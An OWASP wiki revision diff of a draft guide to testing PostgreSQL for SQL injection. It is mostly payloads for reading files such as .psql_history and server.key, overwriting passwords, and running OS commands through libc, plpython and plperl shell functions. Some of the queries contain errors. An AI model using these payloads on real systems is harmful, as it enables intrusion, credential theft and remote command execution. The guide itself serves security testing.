Difference between revisions of "OWASP Backend Security Project Testing PostgreSQL"

From OWASP
Jump to: navigation, search
Line 6: Line 6:
 
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator
 
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator
 
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.
 
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.
 +
* ''LIMIT'' and ''OFFSET'' can be used on a ''SELECT'' statement to retrieve a portion of resultset generated by the ''query''
  
 +
From here after we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is a vulnerable to SQL Injection attack.
  
 
= Black Box testing and example =
 
= Black Box testing and example =
Line 44: Line 46:
 
On previous  version you can easy create a custom ''pg_sleep(n)'' by using libc:
 
On previous  version you can easy create a custom ''pg_sleep(n)'' by using libc:
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
 
  
 
== Single Quote unescape ==
 
== Single Quote unescape ==
Line 106: Line 107:
 
'''COPY:'''
 
'''COPY:'''
  
This operator copies data between file and table. Thus in order to user it you need to enumerate
+
This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.
at least one table and one column to store result within.
 
How to enumerate tables and columns has been discussed on previous sections.  
 
  
  
 
'''Example:'''
 
'''Example:'''
  
Let say you allready guess the existence of ''content'' text column in table ''contents'' belonging
 
to current database.  You can retrieve ''postgres client'' history with the following trick:
 
  
   <nowiki>/store.php?id=1; COPY contents(content) FROM '/home/postgres/.psql_history'--</nowiki>
+
   <nowiki>
 +
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
 +
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
 +
</nowiki>
  
 +
Data should be retrieved by performi a ''UNION Query SQL Injection'':
 +
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
 +
* retrieve a row at time with UNION SQL Injection
 +
 +
'''Example:'''
 +
<nowiki>
 +
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
 +
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
 +
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
 +
...
 +
...
 +
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
 +
</nowiki>
  
 
'''pg_read_file():'''
 
'''pg_read_file():'''
Line 129: Line 142:
  
 
=== Writing to a file ===
 
=== Writing to a file ===
 +
 +
By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well
 +
 +
<nowiki>
 +
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
 +
</nowiki>
  
 
=== Shell Injection ===
 
=== Shell Injection ===
Line 178: Line 197:
 
* Check if PL/Python has been enabled on some databsae:
 
* Check if PL/Python has been enabled on some databsae:
 
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
 
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
* If not assuming that sysadm has allready installed plpython package try to enable:
+
* If not try to enable:
 
*: ''CREATE LANGUAGE plpythonu''
 
*: ''CREATE LANGUAGE plpythonu''
 
* If all of the above succeded create a proxy shell function:
 
* If all of the above succeded create a proxy shell function:
Line 196: Line 215:
 
==== plperl ====
 
==== plperl ====
  
=== Network Reconnaissance ===
+
Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as ''open''. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from ''postgres'' user to avoid the so called application mask filtering of trusted/untrusted operations.
 +
 
 +
* Check if PL/perl-untrusted has been enabled:
 +
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
 +
* If not assuming that sysadm has allready installed plperl package try :
 +
*: ''CREATE LANGUAGE plperlu''
 +
* If all of the above succeded create a proxy shell function:
 +
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu''
 +
* Have fun with:
 +
*: SELECT proxyshell(''os command'');
 +
 
 +
'''Example:'''
 +
 
 +
*Create a proxy shell function:
 +
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>
 +
 
 +
*Run a OS Command:
 +
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''
  
=== Linking DB ===
 
  
 
= References =
 
= References =
 +
 +
OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection
 +
 +
Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/
 +
 +
PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
  
 
= Tools =
 
= Tools =
 +
 +
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

Revision as of 17:05, 28 July 2008

Short Description of the Issue

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:

  • PHP Connector allow multiple statements to be executed by using ; as a statement seperator
  • SQL Statement can be truncated on vulnerable URL by appending comment char: --.
  • LIMIT and OFFSET can be used on a SELECT statement to retrieve a portion of resultset generated by the query

From here after we suppose that http://www.example.com/news.php?id=1 is a vulnerable to SQL Injection attack.

Black Box testing and example

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1


Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)


Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current session process sleep for n seconds.

On previous version you can easy create a custom pg_sleep(n) by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character


Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--


Attack Vectors

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--


Reading from a file

ProstgreSQL provides two way to access local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between file and table. PostgreSQL engine access local FileSystem with postgres user rights.


Example:


 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performi a UNION Query SQL Injection:

  • retrieves number of rows previously added in file_store with COPY statement
  • retrieve a row at time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.

Examples:

  • SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting COPY statement we can write to local filesystem with postgres user rights as well

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.


Dynamic Library

Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  • create a stdout table
    CREATE TABLE stdout(id serial, system_out text)
  • executing a shell command redirecting it's stdout
    SELECT system('uname -a > /tmp/test')
  • use a COPY statements to push output of previous command in stdout table
    COPY stdout(system_out) FROM '/tmp/test'
  • retrieve output from stdout
    SELECT system_out FROM stdout


Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--


plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on some databsae:
    SELECT count(*) FROM pg_language WHERE lanname='plpython'
  • If not try to enable:
    CREATE LANGUAGE plpythonu
  • If all of the above succeded create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run a OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as open. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from postgres user to avoid the so called application mask filtering of trusted/untrusted operations.

  • Check if PL/perl-untrusted has been enabled:
    SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • If not assuming that sysadm has allready installed plperl package try :
    CREATE LANGUAGE plperlu
  • If all of the above succeded create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • Run a OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--


References

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

Tools

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net